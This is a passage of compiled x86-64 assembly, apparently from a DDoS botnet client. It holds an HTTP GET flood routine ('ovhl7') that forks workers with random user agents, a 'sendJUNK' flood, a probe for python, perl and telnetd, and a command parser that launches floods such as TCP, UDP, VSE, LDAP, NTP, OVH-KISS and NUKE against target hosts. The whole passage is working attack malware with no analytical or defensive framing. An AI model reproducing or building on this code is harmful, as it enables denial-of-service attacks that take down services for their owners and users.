	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 0
	jmp	.L341
.L340:
	nop
	jmp	.L327
.L341:
	nop
.L327:
	add	DWORD PTR -272[rbp], 1
.L325:
	mov	eax, DWORD PTR -272[rbp]
	cmp	eax, DWORD PTR -268[rbp]
	jl	.L337
.L324:
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cmp	DWORD PTR -264[rbp], eax
	jg	.L338
	mov	rsp, rbx
.L318:
	mov	rax, QWORD PTR -56[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L339
	call	__stack_chk_fail@PLT
.L339:
	lea	rsp, -40[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE34:
	.size	sendJUNK, .-sendJUNK
	.section	.rodata
.LC25:
	.string	"\004"
.LC26:
	.string	"\003"
.LC27:
	.string	"\002"
.LC28:
	.string	"\001"
.LC29:
	.string	""
	.string	""
.LC30:
	.string	"\377"
.LC31:
	.string	"\376"
.LC32:
	.string	"\375"
.LC33:
	.string	"\374"
.LC34:
	.string	"\373"
.LC35:
	.string	"\372"
.LC36:
	.string	"\371"
.LC37:
	.string	"\370"
.LC38:
	.string	"\367"
.LC39:
	.string	"\366"
.LC40:
	.string	"\365"
.LC41:
	.string	"\364"
.LC42:
	.string	"\363"
.LC43:
	.string	"\362"
.LC44:
	.string	"\361"
.LC45:
	.string	"\360"
.LC46:
	.string	"\357"
.LC47:
	.string	"\356"
.LC48:
	.string	"\355"
.LC49:
	.string	"\354"
.LC50:
	.string	"\353"
.LC51:
	.string	"\352"
.LC52:
	.string	"\351"
.LC53:
	.string	"\350"
.LC54:
	.string	"\347"
.LC55:
	.string	"\346"
.LC56:
	.string	"\345"
.LC57:
	.string	"\344"
.LC58:
	.string	"\343"
.LC59:
	.string	"\342"
.LC60:
	.string	"\341"
.LC61:
	.string	"\340"
.LC62:
	.string	"\337"
.LC63:
	.string	"\336"
.LC64:
	.string	"\335"
.LC65:
	.string	"\334"
.LC66:
	.string	"\333"
.LC67:
	.string	"\332"
.LC68:
	.string	"\331"
.LC69:
	.string	"\330"
.LC70:
	.string	"\327"
.LC71:
	.string	"\326"
.LC72:
	.string	"\325"
.LC73:
	.string	"\324"
.LC74:
	.string	"\323"
.LC75:
	.string	"\322"
.LC76:
	.string	"\321"
.LC77:
	.string	"\320"
.LC78:
	.string	"\317"
.LC79:
	.string	"\316"
.LC80:
	.string	"\315"
.LC81:
	.string	"\314"
.LC82:
	.string	"\313"
.LC83:
	.string	"\312"
.LC84:
	.string	"\311"
.LC85:
	.string	"\310"
.LC86:
	.string	"\307"
.LC87:
	.string	"\306"
.LC88:
	.string	"\305"
.LC89:
	.string	"\304"
.LC90:
	.string	"\303"
.LC91:
	.string	"\302"
.LC92:
	.string	"\301"
.LC93:
	.string	"\300"
.LC94:
	.string	"\277"
.LC95:
	.string	"\276"
.LC96:
	.string	"\275"
.LC97:
	.string	"\274"
.LC98:
	.string	"\273"
.LC99:
	.string	"\272"
.LC100:
	.string	"\271"
.LC101:
	.string	"\270"
.LC102:
	.string	"\267"
.LC103:
	.string	"\266"
.LC104:
	.string	"\265"
.LC105:
	.string	"\264"
.LC106:
	.string	"\263"
.LC107:
	.string	"\262"
.LC108:
	.string	"\261"
.LC109:
	.string	"\260"
.LC110:
	.string	"\257"
.LC111:
	.string	"\256"
.LC112:
	.string	"\255"
.LC113:
	.string	"\254"
.LC114:
	.string	"\253"
.LC115:
	.string	"\252"
.LC116:
	.string	"\251"
.LC117:
	.string	"\250"
.LC118:
	.string	"\247"
.LC119:
	.string	"\246"
.LC120:
	.string	"\245"
.LC121:
	.string	"\244"
.LC122:
	.string	"\243"
.LC123:
	.string	"\242"
.LC124:
	.string	"\241"
.LC125:
	.string	"\240"
.LC126:
	.string	"\237"
.LC127:
	.string	"\236"
.LC128:
	.string	"\235"
.LC129:
	.string	"\234"
.LC130:
	.string	"\233"
.LC131:
	.string	"\232"
.LC132:
	.string	"\231"
.LC133:
	.string	"\230"
.LC134:
	.string	"\227"
.LC135:
	.string	"\226"
.LC136:
	.string	"\225"
.LC137:
	.string	"\224"
.LC138:
	.string	"\223"
.LC139:
	.string	"\222"
.LC140:
	.string	"\221"
.LC141:
	.string	"\220"
.LC142:
	.string	"\217"
.LC143:
	.string	"\216"
.LC144:
	.string	"\215"
.LC145:
	.string	"\214"
.LC146:
	.string	"\213"
.LC147:
	.string	"\212"
.LC148:
	.string	"\211"
.LC149:
	.string	"\210"
.LC150:
	.string	"\207"
.LC151:
	.string	"\206"
.LC152:
	.string	"\205"
.LC153:
	.string	"\204"
.LC154:
	.string	"\203"
.LC155:
	.string	"\202"
.LC156:
	.string	"\201"
.LC157:
	.string	"\200"
.LC158:
	.string	"\177"
.LC159:
	.string	"~"
.LC160:
	.string	"}"
.LC161:
	.string	"|"
.LC162:
	.string	"{"
.LC163:
	.string	"z"
.LC164:
	.string	"y"
.LC165:
	.string	"x"
.LC166:
	.string	"w"
.LC167:
	.string	"v"
.LC168:
	.string	"u"
.LC169:
	.string	"t"
.LC170:
	.string	"s"
.LC171:
	.string	"r"
.LC172:
	.string	"q"
.LC173:
	.string	"p"
.LC174:
	.string	"o"
.LC175:
	.string	"n"
.LC176:
	.string	"m"
.LC177:
	.string	"l"
.LC178:
	.string	"k"
.LC179:
	.string	"j"
.LC180:
	.string	"i"
.LC181:
	.string	"h"
.LC182:
	.string	"g"
.LC183:
	.string	"f"
.LC184:
	.string	"e"
.LC185:
	.string	"d"
.LC186:
	.string	"c"
.LC187:
	.string	"b"
.LC188:
	.string	"a"
.LC189:
	.string	"`"
.LC190:
	.string	"_"
.LC191:
	.string	"^"
.LC192:
	.string	"]"
.LC193:
	.string	"\\"
.LC194:
	.string	"["
.LC195:
	.string	"Z"
.LC196:
	.string	"Y"
.LC197:
	.string	"X"
.LC198:
	.string	"W"
.LC199:
	.string	"V"
.LC200:
	.string	"U"
.LC201:
	.string	"T"
.LC202:
	.string	"S"
.LC203:
	.string	"R"
.LC204:
	.string	"Q"
.LC205:
	.string	"P"
.LC206:
	.string	"O"
.LC207:
	.string	"N"
.LC208:
	.string	"M"
.LC209:
	.string	"L"
.LC210:
	.string	"K"
.LC211:
	.string	"J"
.LC212:
	.string	"I"
.LC213:
	.string	"H"
.LC214:
	.string	"G"
.LC215:
	.string	"F"
.LC216:
	.string	"E"
.LC217:
	.string	"D"
.LC218:
	.string	"C"
.LC219:
	.string	"B"
.LC220:
	.string	"A"
.LC221:
	.string	"@"
.LC222:
	.string	"?"
.LC223:
	.string	">"
.LC224:
	.string	"="
.LC225:
	.string	"<"
.LC226:
	.string	";"
.LC227:
	.string	":"
.LC228:
	.string	"9"
.LC229:
	.string	"8"
.LC230:
	.string	"7"
.LC231:
	.string	"6"
.LC232:
	.string	"5"
.LC233:
	.string	"4"
.LC234:
	.string	"3"
.LC235:
	.string	"2"
.LC236:
	.string	"1"
.LC237:
	.string	"0"
.LC238:
	.string	"/"
.LC239:
	.string	"."
.LC240:
	.string	"-"
.LC241:
	.string	"+"
.LC242:
	.string	"*"
.LC243:
	.string	")"
.LC244:
	.string	"("
.LC245:
	.string	"'"
.LC246:
	.string	"&"
.LC247:
	.string	"%"
.LC248:
	.string	"$"
.LC249:
	.string	"#"
.LC250:
	.string	"\""
.LC251:
	.string	"!"
.LC252:
	.string	" "
.LC253:
	.string	"\037"
.LC254:
	.string	"\036"
.LC255:
	.string	"\035"
.LC256:
	.string	"\034"
.LC257:
	.string	"\033"
.LC258:
	.string	"\032"
.LC259:
	.string	"\031"
.LC260:
	.string	"\030"
.LC261:
	.string	"\027"
.LC262:
	.string	"\026"
.LC263:
	.string	"\025"
.LC264:
	.string	"\024"
.LC265:
	.string	"\023"
.LC266:
	.string	"\022"
.LC267:
	.string	"\021"
.LC268:
	.string	"\020"
.LC269:
	.string	"\017"
.LC270:
	.string	"\016"
.LC271:
	.string	"\r"
.LC272:
	.string	"\f"
.LC273:
	.string	"\013"
.LC274:
	.string	"\n"
.LC275:
	.string	"\t"
.LC276:
	.string	"\b"
.LC277:
	.string	"\007"
.LC278:
	.string	"\006"
.LC279:
	.string	"\005"
	.align 8
.LC280:
	.string	"PGET "
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n"
	.text
	.globl	ovhl7
	.type	ovhl7, @function
ovhl7:
.LFB35:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 2640
	mov	QWORD PTR -2616[rbp], rdi
	mov	eax, esi
	mov	DWORD PTR -2624[rbp], edx
	mov	DWORD PTR -2628[rbp], ecx
	mov	WORD PTR -2620[rbp], ax
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	edx, DWORD PTR -2624[rbp]
	add	eax, edx
	mov	DWORD PTR -2592[rbp], eax
	mov	DWORD PTR -2588[rbp], 0
	lea	rax, -2064[rbp]
	sub	rsp, 8
	lea	rdx, .LC30[rip]
	push	rdx
	lea	rdx, .LC31[rip]
	push	rdx
	lea	rdx, .LC32[rip]
	push	rdx
	lea	rdx, .LC33[rip]
	push	rdx
	lea	rdx, .LC34[rip]
	push	rdx
	lea	rdx, .LC35[rip]
	push	rdx
	lea	rdx, .LC36[rip]
	push	rdx
	lea	rdx, .LC37[rip]
	push	rdx
	lea	rdx, .LC38[rip]
	push	rdx
	lea	rdx, .LC39[rip]
	push	rdx
	lea	rdx, .LC40[rip]
	push	rdx
	lea	rdx, .LC41[rip]
	push	rdx
	lea	rdx, .LC42[rip]
	push	rdx
	lea	rdx, .LC43[rip]
	push	rdx
	lea	rdx, .LC44[rip]
	push	rdx
	lea	rdx, .LC45[rip]
	push	rdx
	lea	rdx, .LC46[rip]
	push	rdx
	lea	rdx, .LC47[rip]
	push	rdx
	lea	rdx, .LC48[rip]
	push	rdx
	lea	rdx, .LC49[rip]
	push	rdx
	lea	rdx, .LC50[rip]
	push	rdx
	lea	rdx, .LC51[rip]
	push	rdx
	lea	rdx, .LC52[rip]
	push	rdx
	lea	rdx, .LC53[rip]
	push	rdx
	lea	rdx, .LC54[rip]
	push	rdx
	lea	rdx, .LC55[rip]
	push	rdx
	lea	rdx, .LC56[rip]
	push	rdx
	lea	rdx, .LC57[rip]
	push	rdx
	lea	rdx, .LC58[rip]
	push	rdx
	lea	rdx, .LC59[rip]
	push	rdx
	lea	rdx, .LC60[rip]
	push	rdx
	lea	rdx, .LC61[rip]
	push	rdx
	lea	rdx, .LC62[rip]
	push	rdx
	lea	rdx, .LC63[rip]
	push	rdx
	lea	rdx, .LC64[rip]
	push	rdx
	lea	rdx, .LC65[rip]
	push	rdx
	lea	rdx, .LC66[rip]
	push	rdx
	lea	rdx, .LC67[rip]
	push	rdx
	lea	rdx, .LC68[rip]
	push	rdx
	lea	rdx, .LC69[rip]
	push	rdx
	lea	rdx, .LC70[rip]
	push	rdx
	lea	rdx, .LC71[rip]
	push	rdx
	lea	rdx, .LC72[rip]
	push	rdx
	lea	rdx, .LC73[rip]
	push	rdx
	lea	rdx, .LC74[rip]
	push	rdx
	lea	rdx, .LC75[rip]
	push	rdx
	lea	rdx, .LC76[rip]
	push	rdx
	lea	rdx, .LC77[rip]
	push	rdx
	lea	rdx, .LC78[rip]
	push	rdx
	lea	rdx, .LC79[rip]
	push	rdx
	lea	rdx, .LC80[rip]
	push	rdx
	lea	rdx, .LC81[rip]
	push	rdx
	lea	rdx, .LC82[rip]
	push	rdx
	lea	rdx, .LC83[rip]
	push	rdx
	lea	rdx, .LC84[rip]
	push	rdx
	lea	rdx, .LC85[rip]
	push	rdx
	lea	rdx, .LC86[rip]
	push	rdx
	lea	rdx, .LC87[rip]
	push	rdx
	lea	rdx, .LC88[rip]
	push	rdx
	lea	rdx, .LC89[rip]
	push	rdx
	lea	rdx, .LC90[rip]
	push	rdx
	lea	rdx, .LC91[rip]
	push	rdx
	lea	rdx, .LC92[rip]
	push	rdx
	lea	rdx, .LC93[rip]
	push	rdx
	lea	rdx, .LC94[rip]
	push	rdx
	lea	rdx, .LC95[rip]
	push	rdx
	lea	rdx, .LC96[rip]
	push	rdx
	lea	rdx, .LC97[rip]
	push	rdx
	lea	rdx, .LC98[rip]
	push	rdx
	lea	rdx, .LC99[rip]
	push	rdx
	lea	rdx, .LC100[rip]
	push	rdx
	lea	rdx, .LC101[rip]
	push	rdx
	lea	rdx, .LC102[rip]
	push	rdx
	lea	rdx, .LC103[rip]
	push	rdx
	lea	rdx, .LC104[rip]
	push	rdx
	lea	rdx, .LC105[rip]
	push	rdx
	lea	rdx, .LC106[rip]
	push	rdx
	lea	rdx, .LC107[rip]
	push	rdx
	lea	rdx, .LC108[rip]
	push	rdx
	lea	rdx, .LC109[rip]
	push	rdx
	lea	rdx, .LC110[rip]
	push	rdx
	lea	rdx, .LC111[rip]
	push	rdx
	lea	rdx, .LC112[rip]
	push	rdx
	lea	rdx, .LC113[rip]
	push	rdx
	lea	rdx, .LC114[rip]
	push	rdx
	lea	rdx, .LC115[rip]
	push	rdx
	lea	rdx, .LC116[rip]
	push	rdx
	lea	rdx, .LC117[rip]
	push	rdx
	lea	rdx, .LC118[rip]
	push	rdx
	lea	rdx, .LC119[rip]
	push	rdx
	lea	rdx, .LC120[rip]
	push	rdx
	lea	rdx, .LC121[rip]
	push	rdx
	lea	rdx, .LC122[rip]
	push	rdx
	lea	rdx, .LC123[rip]
	push	rdx
	lea	rdx, .LC124[rip]
	push	rdx
	lea	rdx, .LC125[rip]
	push	rdx
	lea	rdx, .LC126[rip]
	push	rdx
	lea	rdx, .LC127[rip]
	push	rdx
	lea	rdx, .LC128[rip]
	push	rdx
	lea	rdx, .LC129[rip]
	push	rdx
	lea	rdx, .LC130[rip]
	push	rdx
	lea	rdx, .LC131[rip]
	push	rdx
	lea	rdx, .LC132[rip]
	push	rdx
	lea	rdx, .LC133[rip]
	push	rdx
	lea	rdx, .LC134[rip]
	push	rdx
	lea	rdx, .LC135[rip]
	push	rdx
	lea	rdx, .LC136[rip]
	push	rdx
	lea	rdx, .LC137[rip]
	push	rdx
	lea	rdx, .LC138[rip]
	push	rdx
	lea	rdx, .LC139[rip]
	push	rdx
	lea	rdx, .LC140[rip]
	push	rdx
	lea	rdx, .LC141[rip]
	push	rdx
	lea	rdx, .LC142[rip]
	push	rdx
	lea	rdx, .LC143[rip]
	push	rdx
	lea	rdx, .LC144[rip]
	push	rdx
	lea	rdx, .LC145[rip]
	push	rdx
	lea	rdx, .LC146[rip]
	push	rdx
	lea	rdx, .LC147[rip]
	push	rdx
	lea	rdx, .LC148[rip]
	push	rdx
	lea	rdx, .LC149[rip]
	push	rdx
	lea	rdx, .LC150[rip]
	push	rdx
	lea	rdx, .LC151[rip]
	push	rdx
	lea	rdx, .LC152[rip]
	push	rdx
	lea	rdx, .LC153[rip]
	push	rdx
	lea	rdx, .LC154[rip]
	push	rdx
	lea	rdx, .LC155[rip]
	push	rdx
	lea	rdx, .LC156[rip]
	push	rdx
	lea	rdx, .LC157[rip]
	push	rdx
	lea	rdx, .LC158[rip]
	push	rdx
	lea	rdx, .LC159[rip]
	push	rdx
	lea	rdx, .LC160[rip]
	push	rdx
	lea	rdx, .LC161[rip]
	push	rdx
	lea	rdx, .LC162[rip]
	push	rdx
	lea	rdx, .LC163[rip]
	push	rdx
	lea	rdx, .LC164[rip]
	push	rdx
	lea	rdx, .LC165[rip]
	push	rdx
	lea	rdx, .LC166[rip]
	push	rdx
	lea	rdx, .LC167[rip]
	push	rdx
	lea	rdx, .LC168[rip]
	push	rdx
	lea	rdx, .LC169[rip]
	push	rdx
	lea	rdx, .LC170[rip]
	push	rdx
	lea	rdx, .LC171[rip]
	push	rdx
	lea	rdx, .LC172[rip]
	push	rdx
	lea	rdx, .LC173[rip]
	push	rdx
	lea	rdx, .LC174[rip]
	push	rdx
	lea	rdx, .LC175[rip]
	push	rdx
	lea	rdx, .LC176[rip]
	push	rdx
	lea	rdx, .LC177[rip]
	push	rdx
	lea	rdx, .LC178[rip]
	push	rdx
	lea	rdx, .LC179[rip]
	push	rdx
	lea	rdx, .LC180[rip]
	push	rdx
	lea	rdx, .LC181[rip]
	push	rdx
	lea	rdx, .LC182[rip]
	push	rdx
	lea	rdx, .LC183[rip]
	push	rdx
	lea	rdx, .LC184[rip]
	push	rdx
	lea	rdx, .LC185[rip]
	push	rdx
	lea	rdx, .LC186[rip]
	push	rdx
	lea	rdx, .LC187[rip]
	push	rdx
	lea	rdx, .LC188[rip]
	push	rdx
	lea	rdx, .LC189[rip]
	push	rdx
	lea	rdx, .LC190[rip]
	push	rdx
	lea	rdx, .LC191[rip]
	push	rdx
	lea	rdx, .LC192[rip]
	push	rdx
	lea	rdx, .LC193[rip]
	push	rdx
	lea	rdx, .LC194[rip]
	push	rdx
	lea	rdx, .LC195[rip]
	push	rdx
	lea	rdx, .LC196[rip]
	push	rdx
	lea	rdx, .LC197[rip]
	push	rdx
	lea	rdx, .LC198[rip]
	push	rdx
	lea	rdx, .LC199[rip]
	push	rdx
	lea	rdx, .LC200[rip]
	push	rdx
	lea	rdx, .LC201[rip]
	push	rdx
	lea	rdx, .LC202[rip]
	push	rdx
	lea	rdx, .LC203[rip]
	push	rdx
	lea	rdx, .LC204[rip]
	push	rdx
	lea	rdx, .LC205[rip]
	push	rdx
	lea	rdx, .LC206[rip]
	push	rdx
	lea	rdx, .LC207[rip]
	push	rdx
	lea	rdx, .LC208[rip]
	push	rdx
	lea	rdx, .LC209[rip]
	push	rdx
	lea	rdx, .LC210[rip]
	push	rdx
	lea	rdx, .LC211[rip]
	push	rdx
	lea	rdx, .LC212[rip]
	push	rdx
	lea	rdx, .LC213[rip]
	push	rdx
	lea	rdx, .LC214[rip]
	push	rdx
	lea	rdx, .LC215[rip]
	push	rdx
	lea	rdx, .LC216[rip]
	push	rdx
	lea	rdx, .LC217[rip]
	push	rdx
	lea	rdx, .LC218[rip]
	push	rdx
	lea	rdx, .LC219[rip]
	push	rdx
	lea	rdx, .LC220[rip]
	push	rdx
	lea	rdx, .LC221[rip]
	push	rdx
	lea	rdx, .LC222[rip]
	push	rdx
	lea	rdx, .LC223[rip]
	push	rdx
	lea	rdx, .LC224[rip]
	push	rdx
	lea	rdx, .LC225[rip]
	push	rdx
	lea	rdx, .LC226[rip]
	push	rdx
	lea	rdx, .LC227[rip]
	push	rdx
	lea	rdx, .LC228[rip]
	push	rdx
	lea	rdx, .LC229[rip]
	push	rdx
	lea	rdx, .LC230[rip]
	push	rdx
	lea	rdx, .LC231[rip]
	push	rdx
	lea	rdx, .LC232[rip]
	push	rdx
	lea	rdx, .LC233[rip]
	push	rdx
	lea	rdx, .LC234[rip]
	push	rdx
	lea	rdx, .LC235[rip]
	push	rdx
	lea	rdx, .LC236[rip]
	push	rdx
	lea	rdx, .LC237[rip]
	push	rdx
	lea	rdx, .LC238[rip]
	push	rdx
	lea	rdx, .LC239[rip]
	push	rdx
	lea	rdx, .LC240[rip]
	push	rdx
	lea	rdx, .LC13[rip]
	push	rdx
	lea	rdx, .LC241[rip]
	push	rdx
	lea	rdx, .LC242[rip]
	push	rdx
	lea	rdx, .LC243[rip]
	push	rdx
	lea	rdx, .LC244[rip]
	push	rdx
	lea	rdx, .LC245[rip]
	push	rdx
	lea	rdx, .LC246[rip]
	push	rdx
	lea	rdx, .LC247[rip]
	push	rdx
	lea	rdx, .LC248[rip]
	push	rdx
	lea	rdx, .LC249[rip]
	push	rdx
	lea	rdx, .LC250[rip]
	push	rdx
	lea	rdx, .LC251[rip]
	push	rdx
	lea	rdx, .LC252[rip]
	push	rdx
	lea	rdx, .LC253[rip]
	push	rdx
	lea	rdx, .LC254[rip]
	push	rdx
	lea	rdx, .LC255[rip]
	push	rdx
	lea	rdx, .LC256[rip]
	push	rdx
	lea	rdx, .LC257[rip]
	push	rdx
	lea	rdx, .LC258[rip]
	push	rdx
	lea	rdx, .LC259[rip]
	push	rdx
	lea	rdx, .LC260[rip]
	push	rdx
	lea	rdx, .LC261[rip]
	push	rdx
	lea	rdx, .LC262[rip]
	push	rdx
	lea	rdx, .LC263[rip]
	push	rdx
	lea	rdx, .LC264[rip]
	push	rdx
	lea	rdx, .LC265[rip]
	push	rdx
	lea	rdx, .LC266[rip]
	push	rdx
	lea	rdx, .LC267[rip]
	push	rdx
	lea	rdx, .LC268[rip]
	push	rdx
	lea	rdx, .LC269[rip]
	push	rdx
	lea	rdx, .LC270[rip]
	push	rdx
	lea	rdx, .LC271[rip]
	push	rdx
	lea	rdx, .LC272[rip]
	push	rdx
	lea	rdx, .LC273[rip]
	push	rdx
	lea	rdx, .LC274[rip]
	push	rdx
	lea	rdx, .LC275[rip]
	push	rdx
	lea	rdx, .LC276[rip]
	push	rdx
	lea	rdx, .LC277[rip]
	push	rdx
	lea	rdx, .LC278[rip]
	push	rdx
	lea	rdx, .LC279[rip]
	push	rdx
	lea	r9, .LC25[rip]
	lea	r8, .LC26[rip]
	lea	rcx, .LC27[rip]
	lea	rdx, .LC28[rip]
	lea	rsi, .LC29[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	add	rsp, 2016
	mov	DWORD PTR -2596[rbp], 0
	jmp	.L343
.L347:
	call	rand@PLT
	cdq
	shr	edx, 31
	add	eax, edx
	and	eax, 1
	sub	eax, edx
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, useragents[rip]
	mov	rsi, QWORD PTR [rdx+rax]
	mov	rcx, QWORD PTR -2616[rbp]
	lea	rdx, -2064[rbp]
	lea	rax, -2576[rbp]
	mov	r8, rsi
	lea	rsi, .LC280[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	call	fork@PLT
	test	eax, eax
	je	.L344
	jmp	.L345
.L346:
	movzx	edx, WORD PTR -2620[rbp]
	mov	rax, QWORD PTR -2616[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	socket_connect
	mov	DWORD PTR -2584[rbp], eax
	cmp	DWORD PTR -2584[rbp], 0
	je	.L345
	lea	rax, -2576[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	lea	rcx, -2576[rbp]
	mov	eax, DWORD PTR -2584[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	lea	rcx, -2577[rbp]
	mov	eax, DWORD PTR -2584[rbp]
	mov	edx, 1
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	eax, DWORD PTR -2584[rbp]
	mov	edi, eax
	call	close@PLT
.L345:
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cmp	DWORD PTR -2592[rbp], eax
	jg	.L346
	mov	edi, 0
	call	exit@PLT
.L344:
	add	DWORD PTR -2596[rbp], 1
.L343:
	mov	eax, DWORD PTR -2596[rbp]
	cmp	eax, DWORD PTR -2628[rbp]
	jl	.L347
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L348
	call	__stack_chk_fail@PLT
.L348:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE35:
	.size	ovhl7, .-ovhl7
	.section	.rodata
.LC281:
	.string	"x86_64"
	.text
	.globl	getArch
	.type	getArch, @function
getArch:
.LFB36:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	rax, .LC281[rip]
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE36:
	.size	getArch, .-getArch
	.section	.rodata
.LC282:
	.string	"/usr/bin/python"
.LC283:
	.string	"22"
.LC284:
	.string	"/usr/bin/python3"
.LC285:
	.string	"/usr/bin/perl"
.LC286:
	.string	"/usr/sbin/telnetd"
.LC287:
	.string	"Unknown Port"
	.text
	.globl	getPortz
	.type	getPortz, @function
getPortz:
.LFB37:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	esi, 0
	lea	rdi, .LC282[rip]
	call	access@PLT
	cmp	eax, -1
	je	.L352
	lea	rax, .LC283[rip]
	jmp	.L353
.L352:
	mov	esi, 0
	lea	rdi, .LC284[rip]
	call	access@PLT
	cmp	eax, -1
	je	.L354
	lea	rax, .LC283[rip]
	jmp	.L353
.L354:
	mov	esi, 0
	lea	rdi, .LC285[rip]
	call	access@PLT
	cmp	eax, -1
	je	.L355
	lea	rax, .LC283[rip]
	jmp	.L353
.L355:
	mov	esi, 0
	lea	rdi, .LC286[rip]
	call	access@PLT
	cmp	eax, -1
	je	.L356
	lea	rax, .LC283[rip]
	jmp	.L353
.L356:
	lea	rax, .LC287[rip]
.L353:
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE37:
	.size	getPortz, .-getPortz
	.section	.rodata
.LC288:
	.string	"TCP"
.LC289:
	.string	"UDP"
.LC290:
	.string	"HTTPSTOMP"
.LC291:
	.string	"VSE"
.LC292:
	.string	"LDAP"
.LC293:
	.string	"STDHEX"
.LC294:
	.string	"NTP"
.LC295:
	.string	"TFTP"
.LC296:
	.string	"CHARGEN"
.LC297:
	.string	"RIP"
.LC298:
	.string	"KILLALL"
.LC299:
	.string	"ZAP"
.LC300:
	.string	"DEATH"
.LC301:
	.string	"KKK"
.LC302:
	.string	"NUKE"
.LC303:
	.string	"OVH-KISS"
.LC304:
	.string	"SLAP-OVH"
.LC305:
	.string	"VPN-NULL"
.LC306:
	.string	"NFO"
.LC307:
	.string	"HYDRA"
.LC308:
	.string	"HOLD"
.LC309:
	.string	"JUNK"
.LC310:
	.string	"STOP"
.LC311:
	.string	"stop"
.LC312:
	.string	"Stop"
	.text
	.globl	processCmd
	.type	processCmd, @function
processCmd:
.LFB38:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r13
	push	r12
	push	rbx
	sub	rsp, 520
	.cfi_offset 13, -24
	.cfi_offset 12, -32
	.cfi_offset 3, -40
	mov	DWORD PTR -532[rbp], edi
	mov	QWORD PTR -544[rbp], rsi
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC288[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L358
	cmp	DWORD PTR -532[rbp], 5
	jle	.L539
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -168[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -512[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -508[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -504[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 40[rax]
	mov	QWORD PTR -160[rbp], rax
	cmp	DWORD PTR -532[rbp], 8
	jne	.L361
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 56
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	jmp	.L362
.L361:
	mov	eax, 10
.L362:
	mov	DWORD PTR -500[rbp], eax
	cmp	DWORD PTR -532[rbp], 6
	jle	.L363
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 48
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	jmp	.L364
.L363:
	mov	eax, 0
.L364:
	mov	DWORD PTR -496[rbp], eax
	mov	rax, QWORD PTR -168[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L365
	mov	rax, QWORD PTR -168[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -320[rbp], rax
	jmp	.L366
.L368:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L367
	mov	r9d, DWORD PTR -496[rbp]
	mov	r8, QWORD PTR -160[rbp]
	mov	ecx, DWORD PTR -504[rbp]
	mov	edx, DWORD PTR -508[rbp]
	mov	esi, DWORD PTR -512[rbp]
	mov	rax, QWORD PTR -320[rbp]
	sub	rsp, 8
	mov	edi, DWORD PTR -500[rbp]
	push	rdi
	mov	rdi, rax
	call	ftcp
	add	rsp, 16
	mov	edi, 0
	call	_exit@PLT
.L367:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -320[rbp], rax
.L366:
	cmp	QWORD PTR -320[rbp], 0
	jne	.L368
	jmp	.L358
.L365:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L540
	mov	r9d, DWORD PTR -496[rbp]
	mov	r8, QWORD PTR -160[rbp]
	mov	ecx, DWORD PTR -504[rbp]
	mov	edx, DWORD PTR -508[rbp]
	mov	esi, DWORD PTR -512[rbp]
	mov	rax, QWORD PTR -168[rbp]
	sub	rsp, 8
	mov	edi, DWORD PTR -500[rbp]
